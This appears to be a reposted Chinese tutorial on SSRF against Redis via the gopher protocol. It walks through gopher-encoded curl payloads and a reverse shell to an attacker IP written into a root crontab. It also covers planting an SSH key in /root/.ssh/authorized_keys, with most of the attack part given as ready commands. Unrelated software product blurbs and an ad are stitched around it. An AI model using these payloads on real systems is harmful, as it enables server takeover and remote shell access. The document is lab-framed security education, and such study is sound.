Redis中服务端请求伪造SSRF的示例分析
Redis Assistant 是一款为Redis设计的高效可视化管理与监控工具，提供多种操作模式，高效处理服务器数据。日常使用里的持续防护和信息管理会更突出，适合把安全控制放进长期使用流程中的场景。
SSRF，即服务端请求伪造。当服务器需要请求资源时，请求的资源、协议、路径等可被用户控制。即可造成SSRF攻击。本文着重研究通过gopher协议，对Redis服务进行SSRF攻击，进而getshell。gopher协议格式首先先了解gopher协议为何物，格式是什么样子：gopher://://_后接TCP数据流在我们测试攻击redis时，可以使用linux自带的curl进行测试。如果使用Centos，为了确保实验成功，最好将Centos的selinux关闭。关闭selinux：setenforce0攻击
SSRF，即服务端请求伪造。当服务器需要请求资源时，请求的资源、协议、路径等可被用户控制。即可造成SSRF攻击。
本文着重研究通过 gopher协议 ，对 Redis服务 进行SSRF攻击，进而getshell。
gopher协议格式
首先先了解gopher协议为何物，格式是什么样子：
gopher://
: // _后接TCP数据流
在我们测试攻击redis时，可以使用 linux 自带的 curl进行测试。
如果使用Centos，为了确保实验成功，最好将 Centos的 selinux关闭。
关闭 selinux：
setenforce 0
攻击redis
（1）实验环境搭建
虚拟机装台 Centos7即可。
redis安装：
wget http://download.redis.io/releases/redis-4.0.6.tar.gz //下载redis压缩包
yum install gcc //安装make时必备的gcc
tar -xzvf redis-4.0.6.tar.gz //解压压缩包 cd redis-4.0.6 //进入压缩包目录
make MALLOC=libc //编译
cd src //编译完成后会生成一个文件夹src，进入src文件夹
make install //安装
redis运行：
在 redis-4.0.6 目录下，redis.conf 是最初始的redis配置文件
redis-4.0.6/src 目录下，有两个最重要的可执行文件：
redis-server -- 服务端
redis-cli -- 客户端
直接运行 服务端程序，即可开启 redis 服务。
./redis-server
直接运行 客户端程序，默认连接本地的redis服务：
./redis-cli
（2）初探与介绍
尝试攻击无密码的Redis：
首先我们得开启抓包软件，捕获与redis通信的数据包。
在Linux中，可以用tcpdump来抓流量：
tcpdump -i lo -s 0 port 6379 -w redis.pcap
若是抓本地接口的流量，注意是lo不是eth0
我们先登录，然后执行 set key 操作：
将tcpdump抓到的包导出来，用wireshark打开，追踪TCP流
只看我们输入的数据，不看服务端返回的数据，可以看到只有几行：
在 “显示和保存数据为” 这一位置，选择 Hex转储，将会得到如下的数据：
其中 画红色框的就是一会用到的payload
将所有东西都复制出来，使用编辑器去掉除了红框以外的所有无关数据
然后给每个十六进制值前加上一个百分号，排成一行即可：
构造 curl 请求：
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -
回显：
查询key：
可以成功设置key。
尝试攻击使用密码的redis：
先配置redis为 需要密码登录：
修改redis下的配置文件 redis.conf，搜索 requirepass 关键字。
默认 requirepass 是被注释的，将注释符号删除，再在 requirepass 后面填写想要给 redis 设置的密码
配置好后启动 redis 的命令为：
./redis-server redis配置文件路径
尝试攻击有密码redis：
首先，开启tcpdump抓包，然后在redis命令行中执行操作：
重新抓流量，和之前一样操作，发现密码验证也就是加多了一个auth命令：
重复上文的步骤即可。
（2）GetShell：
接下来讲重点：通过 set key GetShell：
思路：
（1）将反弹shell命令写到定时任务里，攻击机只需要开一个netcat端口即可。
（2）写入ssh-keygen，进行ssh免密登录。
一个个细细道来。
（1）定时任务反弹shell
基本要求：
redis需要是以 root 权限运行，不然写不到 /var/spool/cron/ 目录下
1.首先得知道 Linux 下的定时任务是个什么东西：
Linux下设置定时任务命令为 crontab
配置文件为 /etc/crontab
下面这张图是配置文件里的内容，很好的说明了 crontab 配置的格式
这个配置文件应该只是供参考用的，我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下
如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt
则可以这么操作：
vim /var/spool/cron/root //root是文件名，一般以执行的用户命名
在文件中写入
* * * * * root echo1 > /tmp/1.txt
保存退出后，重启 crontab 服务：
systemctl restart crond.service
即可每一分钟执行一次该命令
2.接着要知道linux下通过输入输出流反弹shell
命令：
/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1
直接看效果：
这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/
文件描述符 1 表示标准输入
文件描述符 2 表示标准输出
/bin/bash -i 表示的是调用bash命令的交互模式，并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。
重定向时加入一个描述符 &，表示直接作为数据流输入。不加 & 时，重定向默认是输出到文件里的。
做个实例就清晰明了了
/dev/tcp/ip地址/端口号 是linux下的特殊文件，表示对这个地址端口进行tcp连接
这里我们设置成攻击机监听的地址
最后面的 0>&1 。此时攻击机和靶机已经建立好了连接，当攻击机进行输入时，就是这里的 0（标准输入）
通过重定向符，重定向到 1（标准输入）中，由于是作为 /bin/bash 的标准输入，所以就执行了系统命令了。
3.还需要知道Redis如何写入文件
Redis 中可以导出当前数据库中的 key 和 value
并且可以通过命令配置导出路径和文件名：
config set dir /tmp/test //设置导出路径 config set dbfilename root //设置导出文件名 save //执行导出操作
可以看到，格式非常乱。不过还好linux中的cron不会报错，只要读到一行正确配置即可执行。
通过crontab定时任务 getshell
为了能让linux能够正确读到一行，我们在 set key 的时候手动添加 \n（换行）
redis语句：
config set dir /var/spool/cron config set dbfilename root set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n" save
转换成 gopher协议，进行curl请求：
成功写入：
成功getshell：
注意：这里有一个坑点。
cron文件不需要写用户名，不然会报错：
（2）ssh免密登录
在linux中，ssh可配置成免密登录。
需要修改 ssh 配置文件 /etc/ssh/sshd_config
将
#StrictModes yes
改为
StrictModes no
然后重启sshd即可
免密登录条件：
客户端生成公钥和私钥
将公钥上传至服务端 即可
在SSRF利用中，同样需要root权限运行 redis
如果不是root权限，需要能够 ssh 登录的用户权限运行 redis
正常免密登录流程：
1.客户端先生成公钥和私钥
使用工具 ssh-keygen：
ssh-keygen -t rsa
执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件
有.pub后缀的就是公钥，没有.pub后缀的就是私钥
2.上传公钥至服务器
将公钥上传至服务端的 /root/.ssh目录下
嫌麻烦可以用 ssh-copy-id工具
3.重命名文件为authorized_keys
文件名要重命名为 authorized_keys
authorized_keys 文件内容如下：
如果有多台客户端需要免密登录，新起一行，新行中写对应的客户端的公钥值即可
类似这样：
4.免密登录
传好后即可免密登录：
ssh免密登录 getshelll
我们知道了要写入的文件位置、要写入的内容（公钥事先生成好），我们可以构造redis语句了：
//先配置路径 config set dir /root/.ssh config set dbfilename authorized_keys //写入公钥 set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n" //保存 save
改成gopher协议格式:
查看 authorized_keys 文件：
成功免密登录：
WPS Office是一款面向macOS用户的综合办公套件，将文字处理、电子表格、演示文稿、PDF工具、模板与云协作整合在同一应用中。它兼容常见Microsoft Office格式，支持Intel及Apple芯片Mac，基础功能可免费使用，
Shapr3D是一款面向工业设计、机械工程、建筑概念和三维打印工作流的CAD软件。Mac版采用Parasolid建模内核，支持草图约束、实体建模、工程图、可视化渲染及常见CAD格式交换，并可通过账户在多台设备之间同步项目。
REAPER是Cockos开发的数字音频工作站，提供多轨音频与MIDI录制、剪辑、处理、混音和母带制作工具。Mac版兼容Intel与Apple芯片，支持AU、VST、VST3、CLAP等插件格式，并提供高度可定制的工作流程。
Ableton Live 是面向音乐制作人与现场表演者的数字音频工作站，提供编曲视图、独具特色的现场视图、音频录制、MIDI创作、实时变速、乐器及效果器。Mac版原生支持Apple芯片，并可连接音频接口、MIDI控制器和第三方插件。
Adobe After Effects 是面向动态图形、影视特效与视频合成的专业创作软件。它提供关键帧动画、遮罩抠像、运动跟踪、三维空间、文字动画和表达式等工具，并可与 Premiere Pro、Photoshop、Illustrator
Adobe Audition 是面向播客、影视后期、音乐制作及内容创作者的专业音频工作站，提供波形精修、多轨录制与混音、频谱编辑、降噪修复、响度匹配和效果处理工具，并可与 Adobe Premiere 协同完成视频声音制作。
Adobe Bridge 是面向摄影师、设计师及内容团队的免费数字资产管理工具，可集中预览照片、视频和 Adobe 项目文件，并利用评级、标签、关键词、元数据、筛选与收藏集完成分类检索。它还支持批量重命名、格式导出、相机导入及 Camera
Adobe Illustrator 是 Adobe 推出的专业矢量图形设计软件，适合在 Mac 上制作标志、图标、插画、包装、信息图及印刷版面。它以路径和锚点构建可无损缩放的图形，并提供钢笔、形状、文字、图像描摹、渐变、画板及生成式功能。
Adobe InDesign 是面向印刷品与数字出版物的专业版面设计软件，可在 Mac 上制作书籍、杂志、宣传册、海报、报告及交互式文档。它提供精细的文字样式、网格、母版、长文档管理和印前输出能力。
Adobe Lightroom Classic 是面向桌面摄影工作流的照片管理与后期处理软件，可将原始照片保存在本地硬盘，通过目录、关键词、评分和收藏夹高效整理图库，并提供 RAW 冲印、蒙版、镜头校正、批量同步及多格式导出等功能。
Adobe Media Encoder 是 Adobe 推出的专业音视频编码与转码工具，可通过队列、预设和监视文件夹批量完成格式转换、代理文件创建及多平台成片输出，并与 Premiere Pro、After Effects 等软件紧密协作。
Adobe Photoshop 是面向摄影师、设计师和内容创作者的专业图像处理软件，提供图层、蒙版、选区、修复、调色、文字排版、智能对象及生成式编辑等能力。Mac 版支持 Intel 与 Apple Silicon 处理器。
Adobe Photoshop 是面向摄影师、设计师和内容创作者的专业图像处理工具，可在 Windows 上完成照片修饰、选区抠图、图层合成、文字排版、绘画及生成式编辑。软件采用订阅授权，由 Creative Cloud 管理安装、更新与许
Adobe InDesign 是面向印刷与数字出版的专业页面排版工具，可制作书籍、杂志、宣传册、海报、交互式 PDF 和电子书。它提供精细的文字样式、多页面管理、印前检查及多格式输出能力，并能与 Photoshop、Illustrator
Adobe Illustrator 是用于绘制矢量图形、插画、图标、徽标和版式的专业设计工具。它以路径和锚点为核心，作品放大后仍能保持清晰，并提供画板、文字、渐变、图像描摹及精确变换等功能，适合品牌视觉、印刷物料、数字界面和商业插画创作。
Adobe Bridge 是 Adobe 推出的创意资产管理工具，可集中预览、分类和查找照片、视频、PDF及多种设计文件，并支持元数据、关键词、评级、批量重命名和格式导出。它可与 Photoshop、Illustrator 等应用衔接，
Affinity Photo 是一款面向摄影师、修图师和视觉设计人员的桌面图像编辑工具，提供 RAW 显影、多图层合成、蒙版、实时滤镜、批处理和色彩管理等功能。原独立产品已停止销售，其照片编辑能力已延续至免费的新 Affinity 应用；
Adobe Lightroom Classic 是面向 Windows 桌面摄影工作流的照片管理与无损编辑工具，可通过目录集中整理大型图库，并完成 RAW 显影、局部蒙版、批量调整、打印和多格式导出。它强调本地文件管理与精细控制，
Figma 是面向产品设计与开发团队的云端协作平台，可在 Windows 桌面客户端中完成界面绘制、组件管理、交互原型、评论评审和开发交付。文件保存在云端，多名成员能够同步编辑并共享设计系统；官方同时提供免费 Starter 方案及按席位计
Affinity Designer 是面向矢量图形、数字插画和界面设计的专业创作工具，可在矢量、像素与导出工作区之间快速切换。它提供曲线编辑、形状构建、画板、排版、图层和专业色彩管理，并支持常见设计文件的导入及多种印刷、网页格式输出。
Capture One Pro 是面向摄影师和影像团队的专业桌面照片处理工具，提供相机定制色彩配置、RAW转换、图层与蒙版、联机拍摄、目录及会话管理等功能。它适合棚拍、人像、商业产品、婚礼和风光摄影，
Adobe Acrobat Pro 是面向专业 PDF 工作的综合解决方案，可在 Windows 中创建、编辑、转换、比较、整理和保护文档，并支持表单、电子签名、扫描件文字识别及敏感信息永久遮盖。订阅还包含网页、移动服务和云端协作能力，
Adobe After Effects 是面向动态图形、动画与影视视觉特效制作的专业工具，可完成关键帧动画、图层合成、遮罩跟踪、抠像、文字动画和二维三维元素整合。Windows 版通过 Adobe Creative Cloud 安装及更新，
DaVinci Resolve是Blackmagic Design推出的一体化影视后期工具，将素材管理、非线性剪辑、专业调色、Fusion视觉特效、Fairlight音频处理和成片交付整合在统一工程中。免费版已覆盖多数个人创作需求，